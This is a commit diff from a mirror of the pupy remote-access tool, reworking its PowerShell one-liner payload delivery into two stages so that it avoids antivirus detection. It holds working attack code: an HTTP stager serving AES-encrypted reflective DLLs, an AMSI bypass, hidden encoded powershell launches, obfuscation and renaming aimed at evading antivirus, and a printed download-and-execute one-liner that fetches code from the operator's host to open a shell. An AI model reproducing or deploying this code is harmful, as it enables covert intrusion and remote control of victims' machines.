mirror of https://github.com/n1nj4sec/pupy.git
Avoid AV detection with ps1_oneliner (2 stages now)
This commit is contained in:
quentinhardy
parent
732cf7b6b4
commit
1e74076749
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@ -1,32 +1,50 @@
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# -*- coding: UTF8 -*-
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from rpyc.utils.classic import upload
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import base64, re, subprocess
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from subprocess import PIPE, Popen
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def execute_powershell_script(module, content, function, x64IfPossible=False):
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def execute_powershell_script(module, content, function, x64IfPossible=False, script_name=None):
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'''
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To get function output, Write-Output should be used (stdout output).
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If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose)
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'''
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# content = re.sub("Write-Verbose ","Write-Output ", content, flags=re.I) # could break the output with mimikatz
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content = re.sub("Write-Error ","Write-Output ", content, flags=re.I)
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content = re.sub("Write-Warning ","Write-Output ", content, flags=re.I)
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path="powershell.exe"
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arch = 'x64'
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if x64IfPossible:
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if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']:
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path=r"C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe"
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fullargs=[path, "-C", "-"]
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path=r"C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe"
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elif "32" in module.client.desc['proc_arch']:
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arch = 'x86'
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p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
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p.stdin.write("$base64=\"\""+"\n")
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n = 20000
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line = base64.b64encode(content)
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tab = [line[i:i+n] for i in range(0, len(line), n)]
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for t in tab:
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p.stdin.write("$base64+=\"%s\"\n" % t)
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p.stdin.flush()
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fullargs=[path, "-C", "-"]
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p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
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p.stdin.write("Invoke-Expression $d\n")
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p.stdin.write("$a=Invoke-Expression \"%s\" | Format-Table -HideTableHeaders | Out-String\n" % function)
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# create and store the powershell object if it not exists
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if not module.client.powershell[arch]['object']:
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p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
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module.client.powershell[arch]['object'] = p
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else:
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p = module.client.powershell[arch]['object']
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if script_name not in module.client.powershell[arch]['scripts_loaded']:
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module.client.powershell[arch]['scripts_loaded'].append(script_name)
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p.stdin.write("$base64=\"\""+"\n")
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n = 20000
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line = base64.b64encode(content)
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tab = [line[i:i+n] for i in range(0, len(line), n)]
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for t in tab:
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p.stdin.write("$base64+=\"%s\"\n" % t)
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p.stdin.flush()
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p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
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p.stdin.write("Invoke-Expression $d\n")
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# else: the powershell script is already loaded, call the function wanted
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p.stdin.write("\n$a=Invoke-Expression \"%s\" | Format-Table | Out-String\n" % function)
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p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
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p.stdin.write("Write-Host $b\n")
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@ -35,7 +53,6 @@ def execute_powershell_script(module, content, function, x64IfPossible=False):
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for i in p.stdout.readline():
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output += i
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output = base64.b64decode(output)
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p.stdin.write("exit\n")
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return output
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def remove_comments(string):
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@ -68,3 +85,14 @@ def obfuscatePowershellScript(code):
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if "function Invoke-ReflectivePEInjection" in newCode:
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newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null")
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return newCode
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def obfs_ps_script(script):
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"""
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Strip block comments, line comments, empty lines, verbose statements,
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and debug statements from a PowerShell source file.
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"""
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# strip block comments
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strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
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# strip blank lines, lines starting with #, and verbose/debug statements
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strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
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return strippedCode
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@ -2,104 +2,113 @@
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# -*- coding: UTF8 -*-
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from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
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import os.path
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import base64
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from pupylib.utils.term import colorize
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import textwrap
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import random, string
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import time
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from pupygen import get_edit_pupyx86_dll, get_edit_pupyx64_dll
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from pupygen import get_edit_pupyx86_dll
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try:
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import ConfigParser as configparser
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except ImportError:
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import configparser
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from ssl import wrap_socket
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from base64 import b64encode
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import re
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from modules.lib.windows.powershell_upload import obfuscatePowershellScript, obfs_ps_script
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ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
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def pad(s):
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"""
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Performs PKCS#7 padding for 128 bit block size.
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"""
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return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
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#url_random_one = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
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#url_random_two = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
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### url_random_one and url_random_two variables are fixed because if you break you ps1_neliner listener, the payload will be not be able to get stages -:(
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url_random_one = "eiloShaegae1"
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url_random_two = "IMo8oosieVai"
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from Crypto.Cipher import AES
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def aes_encrypt(data, key):
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IV="\x00"*16
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cipher = AES.new(key, AES.MODE_CBC, IV)
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return cipher.encrypt(pad(data))
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def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
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'''
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Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
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Ready for executing
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'''
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SPLIT_SIZE = 100000
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x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
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code = """
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$PEBytes = ""
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{0}
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$PEBytesTotal = [System.Convert]::FromBase64String({1})
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Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
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"""#{1}=x86dll
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binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf))
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binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
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for i,aPart in enumerate(binaryX86parts):
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x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
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x86ConcatCode += "$PEBytes{0}+".format(i)
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print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1))
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script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
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return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])))
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def create_ps_command(ps_command, force_ps32=False, nothidden=False):
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ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
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try{{
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[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
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}}catch{{}}
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{}
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""".format(ps_command)
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PS1_DECRYPT="""
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[Reflection.Assembly]::LoadWithPartialName("System.Security")
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function AES-Decrypt($Encrypted, $Passphrase)
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{
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$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider
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$IV = New-Object Byte[] 16
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$AES.Mode="CBC"
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$AES.KeySize=128
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$AES.Key=[Text.Encoding]::ASCII.GetBytes($Passphrase)
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$AES.IV = $IV
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$AES.Padding = "None"
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$d = $AES.CreateDecryptor()
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$ms = new-Object IO.MemoryStream @(,$Encrypted)
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$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
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$count = $cs.Read($Encrypted, 0, $Encrypted.Length)
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$cs.Close()
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$ms.Close()
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$AES.Clear()
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$Encrypted[0..($Encrypted.Length - $Encrypted[-1] - 1)]
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}
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"""
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if force_ps32:
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command = """$command = '{}'
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if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
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{{
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$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
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IEX $exec
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}}
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else
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{{
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$exec = [System.Convert]::FromBase64String($command)
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$exec = [Text.Encoding]::Unicode.GetString($exec)
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IEX $exec
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}}""".format(b64encode(ps_command.encode('UTF-16LE')))
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if nothidden is True:
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command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
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else:
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command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
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elif not force_ps32:
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if nothidden is True:
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command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
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else:
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command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
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return command
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class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
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def do_GET(self):
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if self.path=="/p":
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# print self.server.random_reflectivepeinj_name
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if self.path=="/%s" % url_random_one:
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self.send_response(200)
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self.send_header('Content-type','text/html')
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self.end_headers()
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pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent("""
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$p="%s"
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$rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi")))
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$path="b64"
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if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
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$raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)))
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iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p)))
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Write-Output "DLL received"
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$raw=AES-Decrypt $raw $p
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Write-Output "Reflective DLL decrypted"
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[GC]::Collect()
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%s -ForceASLR -PEBytes $raw #-Verbose
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"""%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name)))
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self.wfile.write(pe_bootloader)
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print colorize("[+] ","green")+" powershell script stage1 served !"
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elif self.path=="/rpi":
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#serve the powershell script
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launcher = """
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IEX (New-Object Net.WebClient).DownloadString('http://{server}:{port}/{url_random_two}');""".format(
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server=self.server.link_ip,
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port=self.server.link_port,
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url_random_two=url_random_two
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)
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launcher = create_ps_command(launcher, force_ps32=True, nothidden=False)
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self.wfile.write(launcher)
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print colorize("[+] ","green")+"[Stage 1/2] Powershell script served !"
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elif self.path=="/%s" % url_random_two:
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self.send_response(200)
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#self.send_header('Content-type','text/html')
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self.send_header('Content-type','application/octet-stream')
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self.end_headers()
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code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()
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code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o)
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d=aes_encrypt(code, self.server.aes_key)
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self.wfile.write(d)
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print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !"
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elif self.path=="/b32":
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#serve the pupy 32bits dll to load from memory
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self.send_response(200)
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self.send_header('Content-type','application/octet-stream')
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self.end_headers()
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print colorize("[+] ","green")+" generating x86 reflective dll ..."
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self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key))
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print colorize("[+] ","green")+" pupy x86 reflective dll served !"
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elif self.path=="/b64":
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#serve the pupy 64bits dll to load from memory
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self.send_response(200)
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self.send_header('Content-type','application/octet-stream')
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self.end_headers()
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print colorize("[+] ","green")+" generating amd64 reflective dll ..."
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self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key))
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print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
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self.wfile.write(getInvokeReflectivePEInjectionWithDLLEmbedded(self.server.payload_conf))
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print colorize("[+] ","green")+"[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!"
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print colorize("[+] ","green")+"You should have a pupy shell in few seconds from this host..."
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else:
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self.send_response(404)
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self.end_headers()
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@ -134,7 +143,9 @@ def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=Fa
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raise
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print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
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print " --- "
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oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green")
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oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green")
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# This line could work check when proxy is used (have to be tested)
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# oneliner=colorize("powershell.exe -w hidden -noni -nop -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://%s:%s/pa')"%(link_ip, port), "green")
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print oneliner
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print " --- "
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